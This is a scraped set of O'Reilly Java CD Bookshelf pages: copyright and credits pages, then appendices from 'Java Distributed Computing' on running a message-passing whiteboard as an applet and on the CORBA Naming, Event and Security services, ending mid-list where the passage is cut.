O'Reilly's CD bookshelf
Java |
Perl | The Perl CD Bookshelf Navigation
TCP/IP | The Networking CD Bookshelf Navigation
Unix | The UNIX CD Bookshelf Navigation
Java Enterprise | Library Navigation Links
LINUX | Library Navigation Links
Oracle PL/SQL | The Oracle PL/SQL CD Bookshelf Navigation
WWW |


Search the Java Reference Library

Java Reference Library

Text Search

The Java applet below provides a search engine for the entire CD-ROM. Unlike the searches within an individual book, this search only finds words in head elements (<H1>, etc.) and titles.

The first query with this applet can take a long time to complete, subsequent queries are much faster. As the Java runtime environment in browsers improves, we anticipate that the performance of this applet will also improve.

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


Search Java AWT Reference

Java AWT Reference

Full Text Search

The first query with this applet can take a long time to complete; subsequent queries are much faster. As the Java runtime environment in browsers improves, we anticipate that the performance of this applet will also improve.

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


O'Reilly Copyright Statement

The electronic versions of Java in a Nutshell, Java Language Reference, Java AWT Reference, Java Fundamental Classes Reference, and Exploring Java are copyright © 1996, 1997 by O'Reilly & Associates, Inc; all rights reserved.

This CD-ROM is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this reference library availible over a LAN or other network. You may not reprint, offer for sale, or otherwise re-use material from this book without the explicit written permission of O'Reilly & Associates, Inc. If you would like to discuss licensing for multiple users, contact service@oreilly.com.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. (see http://www.oreilly.com/order/) or from bookstores that carry O'Reilly & Associates books.

Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and O'Reilly & Associates, Inc., was aware of the trademark claim, the designations have been printed in caps or initial caps.

While every precaution has been taken in the preparation of this book, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Java Reference Library Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java

This product is printed with 100% recycled electrons.


Credits

The Books

Java in a Nutshell
By David Flanagan
1-56592-262-X, 628 pages.
2nd Edition, May 1997

Java Language Reference
By Mark Grand
1-56592-326-X, 475 pages
2nd Edition July 1997

Java AWT Reference
By John Zukowski
1-56592-240-9, 1074 pages
1st Edition April 1997

Java Fundamental Classes Reference
By Mark Grand and Jonathan Knudsen
1-56592-241-7, 1090 pages
1st Edition May 1997

Exploring Java
By Patrick Niemeyer & Joshua Peck
1-56592-184-271-9, 500 pages (est.)
2nd Edition July 1997 (est.)

The Java Reference Library CD-ROM

Product Manager
Lorrie LeJeune
Technical Development
Jessica Perry Hekman and Norman Walsh
Creative Director
Edie Freedman
Conversion Specialist
Erik Ray
Tools
Lenny Muellner
Index
Seth Maislin


Search Exploring Java

Full Text Search

The first query with this applet can take a long time to complete; subsequent queries are much faster. As the Java runtime environment in browsers improves, we anticipate that the performance of this applet will also improve.

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


Search Java Fundamental Classes

Java Fundamental Classes

Full Text Search

The first query with this applet can take a long time to complete; subsequent queries are much faster. As the Java runtime environment in browsers improves, we anticipate that the performance of this applet will also improve.

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


Java Reference Library

Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java

The Java Reference Library, version 1.2, is copyright © 1996, 1997 by O'Reilly & Associates. All Rights Reserved.
Questions, comments, and suggestions to bookquestions@ora.com.


Search Java In A Nutshell

Java In A Nutshell

Full Text Search

The first query with this applet can take a long time to complete; subsequent queries are much faster. As the Java runtime environment in browsers improves, we anticipate that the performance of this applet will also improve.

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


Search Java Language Reference

Java Language Reference

Full Text Search

The first query with this applet can take a long time to complete; subsequent queries are much faster. As the Java runtime environment in browsers improves, we anticipate that the performance of this applet will also improve.

Copyright © 1996, 1997 O'Reilly & Associates. All Rights Reserved.


O'Reilly Copyright Statement

 Java™ Enterprise CD Bookshelf Java Enterprise CD Bookshelf Search this book

Copyright © 2001 O'Reilly & Associates, Inc. All rights reserved.

The Java™ Enterprise CD Bookshelf, Version 1.0
By O'Reilly & Associates, Inc.
1-56592-850-4

Published by O'Reilly & Associates, Inc., 101 Morris St, Sebastopol, CA 95472

This electronic publication is intended for use by one individual. As such, you may make copies for your own personal use. However, you may not provide copies to others, or make this publication available to others over a LAN or other network. You may not reprint, offer for sale, or otherwise reuse material from this publication without the explicit written permission of O'Reilly & Associates, Inc.

You can purchase print editions of these books directly from O'Reilly & Associates, Inc. or from bookstores that carry O'Reilly & Associates books.

Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this product, and O'Reilly & Associates, Inc., was aware of the trademark claim, the designations have been printed in caps or initial caps.

Java™ and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc., in the United States and other countries. O'Reilly & Associates, Inc. is independent of Sun Microsystems.

While every precaution has been taken in the preparation of this product, the publisher assumes no responsibility for errors or omissions, or for damages resulting from the use of the information contained herein.

Manufacturing History

January 2001: Version 1.0

Credits

Product Manager: Linda Walsh
Online Production Editor: Ellie Cutler
Online Graphics: Kathleen Wilson, Ellie Volckhausen
Tools: Erik Ray
Index: Judy Hoer, Ellie Cutler
Quality Control: Claire Coutier, Julie Drouin, Paul LaBrier, Jeff Liggett, Chris Olson, Sarah Jane Shangraw

Questions, comments, and suggestions to bookquestions@oreilly.com.

Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Java Enterprise CD Bookshelf

Java™ Enterprise in a Nutshell, by David Flanagan, Jim Farley, William Crawford, and Kris Magnusson
Java™ in a Nutshell, Third Edition, by David Flanagan
Java™ Foundation Classes in a Nutshell, by David Flanagan
Enterprise JavaBeans™, Second Edition, by Richard Monson-Haefel
Java™ Servlet Programming, by Jason Hunter with William Crawford
Java™ Security, by Scott Oaks
Java™ Distributed Computing, by Jim Farley
Search Entire CD Bookshelf
Master Index

Copyright © 2001 O'Reilly & Associates

Credits
Library Navigation Links

The Java™ Enterprise CD Bookshelf, Version 1.0, is copyright © 2001 O'Reilly & Associates. All rights reserved.
Questions, comments, and suggestions to bookquestions@ora.com.

This product is printed with 100% recycled electrons.


Using the Examples in Applets (Java Distributed Computing)

 Java Distributed Computing Search this book

Appendix A. Using the Examples in Applets

Contents:

Whiteboard Applet
Class Downloads

You may have noticed that most of the examples in this book are provided in a form suitable for use as Java applications, not as applets. Rather than interspersing applet examples with applications throughout the book, we decided to concentrate on distributed system development issues without the additional complications of applet programming. In this appendix, we'll see how some of the examples could be modified for use in applets.

A.1. Whiteboard Applet

One of the examples that seems like an obvious candidate for use as an applet is our whiteboard example from Chapter 10, "Building Collaborative Applications". Currently, support for RMI within web browsers is scarce, so let's concentrate on a message-passing version of the whiteboard, instead of the RMI-based version shown in Example A-3. The message-passing version is very similar, but is based on the MessageCollaborator and MessageMediator classes from that chapter. This version, which we called the MsgWhiteboardUser, is shown in Example A-1. Since the differences between this and the RMI-based WhiteboardUser are minor, we won't go into details about the code here.

Example A-1. Message-Passing Whiteboard

package dcj.examples.Collaborative;

import dcj.util.Collaborative.*;
import java.awt.event.*;
import java.awt.*;
import java.util.Hashtable;
import java.util.Properties;
import java.io.IOException;
import java.util.Vector;

class Msg {
  public Object data;
  public String tag;

  public Msg(Object o, String t) {
    data = o;
    tag = t;
  }
}

class CommHelper extends Thread {
  Collaborator collaborator;
  static Vector msgs = new Vector();

  public CommHelper(Collaborator c) {
    collaborator = c;
  }

  public static void addMsg(Object o, String t) {
    synchronized (msgs) {
      msgs.addElement(new Msg(o, t));
    }
  }

  public void run() {
    while (true) {
      try {
        Msg m = null;
        synchronized (msgs) {
          m = (Msg)msgs.elementAt(0);
          msgs.removeElementAt(0);
        }
        collaborator.broadcast(m.tag, m.data);
      }
      catch (Exception e) {}
    }
  }
}

public class MsgWhiteboardUser
    extends MessageCollaborator
    implements java.awt.event.MouseListener,
               java.awt.event.MouseMotionListener
{
  protected Hashtable lastPts = new Hashtable();
  protected Component whiteboard;
  protected Image buffer;

  public MsgWhiteboardUser(String name, Color color,
                           String host, int port) {
    super(host, port, name);
    getIdentity().setProperty("color", color);
    System.out.println("color = " + color.getRed()
                       + " " + color.getGreen() + " "
                       + color.getBlue());
    buildUI();
    CommHelper helper = new CommHelper(this);
    helper.start();
  }

  protected void buildUI() {
    Frame f = new Frame();
    GridBagLayout gridbag = new GridBagLayout();
    GridBagConstraints c = new GridBagConstraints();
    f.setLayout(gridbag);
    f.addNotify();
    c.fill = GridBagConstraints.BOTH;
    c.gridwidth = GridBagConstraints.REMAINDER;
    Canvas canvas1 = new java.awt.Canvas();
    canvas1.setSize(240,180);
    canvas1.setBackground(Color.white);
    gridbag.setConstraints(canvas1, c);
    f.add(canvas1);
    String name = null;
    try {
      name = getIdentity().getName();
    }
    catch (Exception e) {
      name = "unknown";
    }
    Label label1 = new java.awt.Label("Your name: " + name);
    label1.setSize(100,30);
    gridbag.setConstraints(label1, c);
    f.add(label1);
    f.setSize(240,210);
    f.show();
    whiteboard = canvas1;
    whiteboard.addMouseListener(this);
    whiteboard.addMouseMotionListener(this);
    buffer = whiteboard.createImage(f.getSize().width,
                                    f.getSize().height);
  }

  protected void nextLine(String agent, Point pt, Color c) {
    Graphics g = buffer.getGraphics();
    g.setColor(c);
    Point lastPt = (Point)lastPts.get(agent);
    g.drawLine(lastPt.x, lastPt.y, pt.x, pt.y);
    whiteboard.getGraphics().drawImage(buffer, 0, 0, whiteboard);
  }

  public void mousePressed(MouseEvent ev) {
    Point evPt = ev.getPoint();
    try {
      lastPts.put(getIdentity().getName(), evPt);
      CommHelper.addMsg(evPt, "start");
    }
    catch (Exception e) {}
  }

  public void mouseReleased(MouseEvent ev) {
    Point evPt = ev.getPoint();
    try {
      nextLine(getIdentity().getName(), evPt,
               (Color)getIdentity().getProperty("color"));
      lastPts.remove(getIdentity().getName());

      CommHelper.addMsg(evPt, "end");
    }
    catch (Exception e) {}
  }

  public void mouseDragged(MouseEvent ev) {
    Point evPt = ev.getPoint();
    try {
      nextLine(getIdentity().getName(), evPt,
               (Color)getIdentity().getProperty("color"));
      lastPts.put(getIdentity().getName(), evPt);

      CommHelper.addMsg(evPt, "drag");
    }
    catch (Exception e) {
    }
  }

  public void mouseExited(MouseEvent ev) {}
  public void mouseMoved(MouseEvent ev) {}
  public void mouseClicked(MouseEvent ev) {}
  public void mouseEntered(MouseEvent ev) {}

  public boolean notify(String tag, Object data, Identity src)
                throws IOException {

    if (src.getName().compareTo(getIdentity().getName()) == 0) {
      return true;
    }
    Color origColor = null;
    Color agentColor = null;
    Graphics gr = buffer.getGraphics();
    try {
      agentColor = (Color)src.getProperty("color");
      if (agentColor != null) {
        gr.setColor(agentColor);
      }
      else {
        System.out.println("No agent color available.");
      }
    }
    catch (Exception exc) {
      System.out.println("Exception while switching colors.");
      exc.printStackTrace();
    }

    if (tag.compareTo("start") == 0) {
      lastPts.put(src.getName(), data);
    }
    else if (tag.compareTo("drag") == 0) {
      Point lastPt = (Point)lastPts.get(src.getName());
      Point currPt = (Point)data;
      gr.drawLine(lastPt.x, lastPt.y, currPt.x, currPt.y);
      lastPts.put(src.getName(), data);
    }
    else if (tag.compareTo("end") == 0) {
      Point lastPt = (Point)lastPts.get(src.getName());
      Point currPt = (Point)data;
      gr.drawLine(lastPt.x, lastPt.y, currPt.x, currPt.y);
      lastPts.remove(src.getName());
    }

    whiteboard.getGraphics().drawImage(buffer, 0, 0, whiteboard);

    return true;
  }
}

A quick and dirty way to use our message-passing whiteboard in an applet context is to just create a MsgWhiteboardUser from inside the init() method of an Applet:

public class WhiteboardApplet extends Applet {
  private MsgWhiteboardUser wbUser;
  public WhiteboardApplet() {}
  public void init() {
    wbUser = new MsgWhiteboardUser("Fred", new Color(255, 0, 0),
                                   "medhost", 5009);
  }
}

When the MsgWhiteboardUser initializes itself, one of the things it does is try to connect to a MessageMediator at the host and port number given to the constructor. This will work just fine, assuming that the applet security policy for your browser allows you to make network connections to the host on which the mediator is running. Typically a browser will only allow an applet to open connections to the host it came from, so you may be forced to have the mediator running on the same host serving the HTML page with your applet.

Since the whiteboard constructs its own top-level Frame inside the buildUI() method, using the WhiteboardApplet in a web page will cause a separate window to pop up on the user's machine. It would be nice to have the whiteboard GUI appear embedded in the web page itself. To do this, we'll need a way to pass the Applet's top-level Container into the constructor for the MsgWhiteboardUser, so that it adds all of its user interface elements to the Container instead of a separate window. We just need to add an additional argument to the MsgWhiteboardUser constructor:

public MsgWhiteboardUser(String name, Color color,
                         String host, int port, Container c) {
        . . .

Then we pass the external Container into the buildUI() method, which then uses it instead of a new Frame as the container for all of its AWT elements:

protected void buildUI(Container cont) {
    if (cont == null)
      cont = new Frame();
    GridBagLayout gridbag = new GridBagLayout();
    GridBagConstraints c = new GridBagConstraints();
    cont.setLayout(gridbag);
    cont.addNotify();
    c.fill = GridBagConstraints.BOTH;
    c.gridwidth = GridBagConstraints.REMAINDER;
    Canvas canvas1 = new java.awt.Canvas();
    canvas1.setSize(240,180);
    canvas1.setBackground(Color.white);
    gridbag.setConstraints(canvas1, c);
    cont.add(canvas1);
    String name = null;
    try {
      name = getIdentity().getName();
    }
    catch (Exception e) {
      name = "unknown";
    }
    Label label1 = new java.awt.Label("Your name: " + name);
    label1.setSize(100,30);
    gridbag.setConstraints(label1, c);
    cont.add(label1);
    cont.setSize(240,210);
    cont.setVisible(true);
    whiteboard = canvas1;
    whiteboard.addMouseListener(this);
    whiteboard.addMouseMotionListener(this);
    buffer = whiteboard.createImage(cont.getSize().width,
                                    cont.getSize().height);
  }

Now our whiteboard will appear within the web page itself.

Many of the other examples in the book are even easier to apply in an applet context. They can be used within an applet you have developed, assuming that the browsers support the libraries used (e.g., RMI, CORBA, etc.). Of course, you must take applet security restrictions into account when you're deciding how to distribute your agents and how they'll talk to each other. (For example, if you put a server agent on machine X, will any browser running one of your client agents allow the agent to connect to the server machine? )

Previous | Home | Next
10.2. A Shared Whiteboard | Book Index | A.2. Class Downloads
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Class Downloads (Java Distributed Computing)

 Java Distributed Computing Search this book

A.2. Class Downloads

Another issue when using applets is the number and size of the support classes that a client needs to run the applet. In the case of the WhiteboardApplet described earlier, in addition to its own class file, the applet needs to download the following support classes:

  • MsgWhiteboardUser

  • Collaborator

  • MessageCollaborator

  • MessageHandler

  • Message

In the version of the JDK we used to compile these classes into Java bytecodes, the total size of the class files, including the WhiteboardApplet, is a little less than 20Kb. This is downloadable in around 7 seconds on a 28.8 Kbit/s modem--not bad at all. If the support classes for our applet are extensive, we have the option of providing them on the web server compressed in a .jar file or a .zip file, whichever one we think most of the client browsers will support.

Previous | Home | Next
A.1. Whiteboard Applet | Book Index | B. CORBA Services
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


CORBA Services (Java Distributed Computing)

 Java Distributed Computing Search this book

Appendix B. CORBA Services

Contents:

Naming Service
Event Service
Security Service
Other Key CORBA Services

The CORBA standard is really a collection of standards and definitions. In addition to the core specifications for the Object Request Broker (ORB) and inter-ORB communication protocols such as IIOP, CORBA also includes specifications for services that distributed objects may require, such as naming services, security measures, etc. Taken as a whole, these specifications, backed up by solid implementations, provide a very powerful environment for the distributed application developer.

This appendix provides a brief overview of some of the key services currently included in the CORBA Services specification. Some of these services are similar in nature to features provided inherently by Java. In these cases, we discuss the contrasts between the Java-native service and the CORBA service.

B.1. Naming Service

The Naming Service is arguably the most commonly used service in the CORBA family. We used the Naming Service in our CORBA example in Chapter 3, "Distributing Objects" to look up our CORBA-based Solver object. The Naming Service provides a means for objects to be referenced by name within a given naming context. A naming context is a scoping mechanism for names, similar in philosophy to class packages in Java. Within a particular context, names must be unique, and contexts can be nested to form compound contexts and names. Figure B-1 shows two naming contexts in the form of Venne diagrams: one, whose topmost context is named "BankServices," defines names for objects in a banking application; the other, named "LANResources," defines names for network resources such as printers, compute servers, data servers, etc. The "BankServices" naming context contains a single object named "AuthorizationAgent," and a subcontext named "CorporateAccount." The "LANServices" context contains a "DataServer" context and a "Printer" context, and each of these contains two named objects.

Figure B-1. Sample naming contexts

Agents in a distributed system can add named objects to the Naming Service by binding objects to a particular name within a context. Other agents can then look up these objects by resolving their names into object references. The name of an object is made up of a sequence of name components that specify the subcontexts that the object falls within. So, for example, the "Laser1" object in the "LANResources" context would be fully specified with a name made up of the ordered components "LANResources," "Printer," and "Laser1."

All of the interfaces making up the Naming Service are contained in the CosNaming module. The interface to the central Naming Service functions is the NamingContext interface, which provides methods for binding, rebinding, and unbinding objects to names, as well resolving object references from names. Using a Java implementation of the CORBA Naming Service, the "LANResources" context and all of its object "contents" might be built up as follows:

// Get handle on base naming context from the ORB
NamingContext base = ...
// Get references to the objects to be registered in Naming Service
omg.CORBA.Object engDataBaseRef = ...
omg.CORBA.Object finDataBaseRef = ...
omg.CORBA.Object laserPrinterRef = ...
omg.CORBA.Object plotterRef = ...
// Build up subcontexts for LAN resources
NameComponent lan = new NameComponent("LANResources", "");
NameComponent data = new NameComponent("DataServer", "");
NameComponent print = new NameComponent("Printer", "");
// Create context for LAN resources
NameComponent path[] = {lan};
NamingContext lanContext = base.bind_new_context(path);
// Bind all of the data servers to their names within the new context
path = {lan, data, new NameComponent("Engineering", "")};
lanContext.bind(path, engDataBaseRef);
path = {lan, data, new NameComponent("Financial", "")};
lanContext.bind(path, finDataBaseRef);
// Bind the printers to their names
path = {lan, print, new NameComponent("Laser1", "")};
lanContext.bind(path, laserPrinterRef);
path = {lan, print, new NameComponent("Plotter", "")};
lanContext.bind(path, plotterRef);

In this example, a new context is established first for the LAN resource objects. The bind_new_context() method of the NamingContext interface takes an array of NameComponents, which specify the fully qualified name for the new context. In this case, we simply need a single NameComponent to give the new context the name "LANResources."

Next, the object references are bound to their names within this new context. In each case, we create an array of NameComponents specifying the compound name for the object, then bind the object to its name by calling the bind() method on the NamingContext.

Agents that want to use these named objects can look them up by getting a reference to the NamingContext and resolving the object references from their full names:

NamingContext base = ...
NameComponent printerName =	{new NameComponent("LANResources", ""),
                             new NameComponent("Printer", ""),
                             new NameComponent("Laser1", "")};
omg.CORBA.Object printerRef = base.resolve(printerName);

B.1.1. Comparison to the RMI Registry

There are many similarities between the RMI registry facilities, represented by the java.rmi.Naming interface, and the CORBA Naming Services, represented by the NamingContext interface in the CosNaming module. Each provides methods for binding and rebinding objects to names, removing these bindings, and looking up objects by name. They also both provide methods for listing the contents of a registry or NamingContext, respectively.

Where CORBA and RMI differ the most with regards to naming services is hierarchical naming contexts. RMI does not support them at all, while CORBA supports them extensively with the ability to both create hierarchical naming contexts and represent compound object names. In the RMI examples in this book, we got around this limitation of the RMI registry by registering a single factory object with the registry, which was then used to create references to other remote objects. So the client of the remote object would use a single, simple name to look up the remote factory object, and the factory object would be responsible for supporting the "lookup" of other objects within this "context."

In situations where hierarchical naming is critical, such as distributed directory services, this becomes a major deficiency in the RMI package, and a good reason to turn to the more comprehensive services provided by CORBA.

Previous | Home | Next
A.2. Class Downloads | Book Index | B.2. Event Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Event Service (Java Distributed Computing)

 Java Distributed Computing Search this book

B.2. Event Service

The Event Service provides asynchronous communications between cooperating, remote objects. It's most similar in nature to the message-passing and event-based messaging we saw in Chapter 6, "Message-Passing Systems".

The CORBA Event Service is based on a model involving suppliers and consumers of events, connected by event channels that carry events back and forth between the two. An event channel can support multiple event suppliers and multiple event consumers. The Event Service also supports two event propagation styles for both consumers and suppliers of events: push style and pull style. A push-style consumer has events pushed to it by its event suppliers, while a pull-style consumer explicitly pulls events from its suppliers. On the other end of the event channel, a push-style supplier pushes events to its consumers, while a pull-style supplier waits for its consumers to pull events from it. Figure B-2 shows the relationship between event suppliers, consumers, and channels. In the figure, arrows indicate flow of events, and the location of the head of the arrow indicates which entity drives the event transfer.

Figure B-2. Propagation model in the Event Services

Although the event channel provides a physical connection between consumers and suppliers in the Event Service model, logically each consumer attaches itself to one or more suppliers, and each supplier attaches itself to one or more consumers. Each consumer and supplier attaches itself to an event channel by attaching itself to a proxy supplier or consumer that the event channel exports. An event channel can be thought of as supporting both the supplier and consumer interfaces, simultaneously.

So here's the typical execution plan that an agent follows when using the CORBA Event Service:

  • A reference to an event channel object is obtained, either using the Naming Service to look up a remote event channel object reference, or by invoking an operation on an existing remote object reference that dynamically opens an event channel.

  • If the agent has any event suppliers, they register themselves with the event channel by attaching themselves to proxy consumers obtained from the channel. Pull-style suppliers attach themselves to proxy pull consumers created from the channel, and push-style suppliers attach themselves to proxy push consumers created from the channel.

  • If the agent has any event consumers, they register themselves with the event channel in a similar way. Pull-style consumers attach themselves to proxy pull suppliers and push-style consumers attach themselves to proxy push suppliers.

  • When suppliers on the agent's side of the channel generate events, the events are carried through the event channel to any consumers attached remotely to the channel. Push suppliers push their events through the channel by calling push() methods on the proxy consumers obtained from the channel. Pull suppliers wait for their proxy consumers to pull events from them through the channel.

  • Consumers on the agent's side of the channel receive events from remote suppliers attached to the channel. Pull-style consumers pull events through the channel from their proxy suppliers by calling pull() methods on them. Push-style consumers wait for their proxy suppliers to give them events received through the channel.

The consumers and suppliers attached to a channel don't know or care about the type or implementation details of their counterparts on the other end of the event channel. A push consumer might attach itself to a channel with only a pull supplier on the other end; the event channel is responsible for ensuring that events are pulled from the supplier and pushed to the consumer, so that the flow of events is maintained. The same is the case when a pull consumer is attached to a push supplier--the event channel accepts the events pushed to it by the supplier, and buffers them until the consumer pulls them. Regardless of the types of suppliers and consumers attached to an event channel at any given time, you should assume that event delivery by the channel is asynchronous.

The Event Service specification provides both generic and typed event communication. In the generic case, the type of the event data is not specified in the interfaces for the suppliers, consumers, or channels. Event data is represented using the CORBA any data type, and suppliers and consumers call generic push() and pull() methods on each other to propagate events through the distributed system. In typed event communication, the interfaces for the suppliers, consumers, and channels can include type-specific event propagation methods and type-specific event representations. In this appendix we'll only discuss the generic event communication aspects of the Event Service.

B.2.1. Quality of Service for Channels

Any given implementation of the event channel interface can support a particular quality of service. Some implementations may guarantee delivery of every event to every consumer attached to the channel, while others may just guarantee to make a best effort to deliver the events generated by its suppliers. The Event Service specification leaves the implementation open to these different levels of service to allow for different application requirements. The trade-offs here are similar to those found at a lower level, in choosing between TCP and UDP packet delivery over IP network connections. Guaranteed event delivery typically means reduced net throughput. Best-effort event delivery can potentially provide higher event throughput, but at the cost of potentially undelivered events, or events delivered to only some of the consumers attached to the channel.

B.2.2. Interface Specifics

The Event Service includes several modules that provide IDL interfaces for suppliers, consumers, and event channels. In this appendix we'll briefly review the highlights of the interfaces for generic event communication. If you're interested, see the CORBA Services specification document.[1]

[1]CORBA Services Specification, OMG Technical Document formal/97-07-04, July 1997.

The CosEventComm module contains interface definitions for push and pull consumers and suppliers of events:

PushSupplier

The PushSupplier interface has only one method, disconnect_push_supplier() , which releases the supplier from its event communication link. There's no exported method for getting events from the supplier, since it's responsible for pushing events to its attached consumer(s).

PushConsumer

The PushConsumer has a push() method, which accepts a single input argument of type any that represents the event data. The any type is an IDL language feature used to mark data that can be of any type. The receiver of the event is responsible for determining the actual data type. The PushConsumer also has a disconnect_push_consumer() method for releasing it from the event communication channel.

PullSupplier

This interface has two methods for pulling event data from the supplier: pull() and try_pull(). A consumer can choose to do a blocking event pull by calling pull(), or it can do a nonblocking polling of the event supplier by calling try_pull(). There is also a disconnect_pull_supplier() method.

PullConsumer

The PullConsumer just has a disconnect_pull_consumer() method, since it's responsible for internally pulling events from its suppliers.

The CosEventChannelAdmin module contains interfaces for event channels and their proxy consumers and suppliers:

EventChannel

This interface has three methods: for_consumers() , for_suppliers() , and destroy() . The for_consumers() method returns a reference to a ConsumerAdmin object, which can be used by consumers to get references to proxy suppliers. Likewise, the for_suppliers() method returns a SupplierAdmin object, which can be used by suppliers to get references to proxy consumers. The destroy() method destroys the channel and any communication resources it had been using.

ConsumerAdmin

This interface allows consumers to get references to proxy suppliers from an event channel. The obtain_push_supplier() method returns a reference to a ProxyPushSupplier object, and the obtain_pull_supplier() method returns a reference to a ProxyPullSupplier object.

SupplierAdmin

The SupplierAdmin interface allows suppliers to get references to proxy consumers from the channel. The obtain_push_consumer() method returns a ProxyPushConsumer reference, and obtain_pull_consumer() returns a ProxyPullConsumer reference.

ProxyPushSupplier

This interface derives from the PushSupplier interface in the CosEventComm module. It adds a method, connect_push_consumer(), which allows a local PushConsumer to attach itself to the supplier. The method takes a single argument: a reference to a PushConsumer. Attaching a consumer to the proxy supplier sets up a path for events to flow from the remote suppliers attached to the channel, through the channel, to the local proxy supplier, and finally to the local consumer.

ProxyPullSupplier

This derives from PullSupplier and adds a connect_pull_consumer() method, which accepts a PullConsumer reference.

ProxyPushConsumer

This derives from PushConsumer and adds a connect_push_supplier() method, which accepts a PushSupplier reference. Attaching a supplier to a proxy consumer sets up a path for events to flow from the local suppliers attached to the channel to the local proxy consumer, through the channel, and finally to remote consumers attached to the channel.

ProxyPullConsumer

This derives from PullConsumer and adds a connect_pull_supplier() method, which accepts a PullSupplier reference.

B.2.3. Comparison to the Java Event Model

As we discussed in Chapter 6, "Message-Passing Systems", the core Java API provides a basic framework for event-based communication between agents, remote or otherwise. The only full implementation of this framework present in the Java API is found in the AWT package, which uses the event delegation model to define the flow of user events from user interface elements to application objects that process the events, update the system state, and provide visual feedback to the user through changes to the user interface.

We showed in Chapter 6, "Message-Passing Systems" how the delegation event model in Java could be used to build a remote messaging system. But the Java API didn't provide us much "out-of-the-box." There is no generic event-handling interface provided as an extension of the placeholder EventListener interface. We had to fill this gap ourselves by creating the EventHandler interface with its generic handleEvent() abtract method. And there is no interface supplied at all for event sources. This significantly limits the usefulness of the Java API as a broad framework for distributed event-passing systems, especially when it comes to interfacing with other event-based systems.

Previous | Home | Next
B.1. Naming Service | Book Index | B.3. Security Service
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Security Service (Java Distributed Computing)

 Java Distributed Computing Search this book

B.3. Security Service

The CORBA Security Service specification is one of the more complicated and detailed of the CORBA services. This is in large part due to the inherent complexity of security, and also to the fact that the Security Services specification includes security models and interfaces for application development, security administration, and the implementation of security services themselves.

In this section we'll only provide a brief overview of the security model and interfaces provided within the CORBA Security Services for application development. Later, we'll contrast the Security Services with the Java Security API.

B.3.1. Service Types

The CORBA Security Services provide interfaces for the following:

  • Authenticating and generating credentials for principals, including the delegation of credentials to intermediary principals

  • Performing secure transactions (e.g., method invocations, data transfers, etc.) between objects

  • Auditing secure transactions for later review

  • Non-repudiation facilities that generate evidence of transactions, to prevent principals involved in a secure transaction from denying that the action ever took place (e.g., the sender of a message denies ever sending it, or the receiver denies receipt)

All of these services and their interfaces are specified in an implementation-neutral manner. So the authentication service interface does not depend on the use of symmetric or asymmetric keys, and the interface to a principal's credentials is not dependent on the use of a particular certificate protocol like X.509.

B.3.2. Security Model

The model used by the CORBA Security Services specification involves principals that are authenticated using a PrincipalAuthenticator object. Once authenticated, a principal is associated with a Credential object, which contains information about its authenticated identity and the access rights that it has under this identity. These credentials are then used in secure transactions, to verify the access privileges of the parties involved, and to register identities for actions that are audited or carried out in a non-repudiation mode. A CORBA remote object request run under the security services is outlined in Figure B-3. The client requests a remote object through a local reference. The client's Credentials (generated earlier by authenticating the user using the PrincipalAuthenticator interface) are attached to the request by the Security Services present in the ORB, and sent along with the request over the transport mechanism in use. The remote object receives the request through its ORB, along with the client's Credentials. The target object can decide whether to honor the request or not, based on the access rights of the client's identity.

Figure B-3. A secure CORBA request

When a request is received from a remote agent, its right to access the resources requested can be checked through an AccessDecision object, which can be used to compare the remote principal's credentials against access control settings, like an ACL. There typically isn't a default access-control policy that the Security Services will enforce for requests, since checking access rights is usually very application-specific (e.g., "Is the client principal in the `Credit Admin' group?", or "Has this principal tried and failed to access this resource more than x times?"). The target of a request can also explicitly audit the transaction using the AuditChannel interface, or just check to see if auditing is required by the current security policy by calling the audit_needed() method on the AuditDecision interface. If non-repudiation services are available, then evidence of the action can be generated using the NRCredentials interface.

B.3.3. Comparison to the Java Security API

The CORBA Security Services specification defines a more comprehensive security API than the Java Security API, in the following ways:

  • Direct support for security auditing and (through an optional set of interfaces) nonrepudiation services

  • Direct support for delegation of requests to intermediary objects

However, the two specifications or APIs are also aimed at different goals. The Java Security API is primarily an interface to low-level security measures and utilities, like key generation and management, direct generation of message digests and digital signatures, etc. The CORBA Security Services are at a much higher level, defining a generic interface between applications and high-order security services, such as principal credentials, audit trails, and intermediaries. The Security Services specification never gets down to the level of defining interfaces based on families of security algorithms, like public key encryption. Even the interfaces provided for service implementors only provide hooks into the ORB request-handling and message-transfer functions. Likewise, the Java Security API never rises above the level of algorithm-independent interfaces to key generation, digital signatures, etc. There's no attempt to build a generic interface to credentials and access decisions, just specific interfaces to access-control lists, for example.

In fact, the two can be seen as complementary in many ways; the Java Security API could be considered a toolkit for building a Java implementation of the services defined at a higher level by the CORBA Security Services specification.

Previous | Home | Next
B.2. Event Service | Book Index | B.4. Other Key CORBA Services
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Other Key CORBA Services (Java Distributed Computing)

 Java Distributed Computing Search this book

B.4. Other Key CORBA Services

In addition to the Naming, Event, and Security services that we discussed here, the CORBA Services Specification defines several other services, including:

Persistent object services

Services for generating, retrieving, and maintaining persistent object states. This service is intended to be an interface between CORBA applications and object databases or other persistent object technologies.

Transaction service

A service that supports issuing transactions across a distributed system. A transaction can be as simple or complex as needed, from a single remote-object request to a collection of multiple requests among many distributed objects. The side effects of all the requests comprising a transaction are not realized until the transaction is completed and committed. This service is similar in nature and scope to the JavaSpaces API, discussed in Appendix C, "JavaSpaces".

Query service

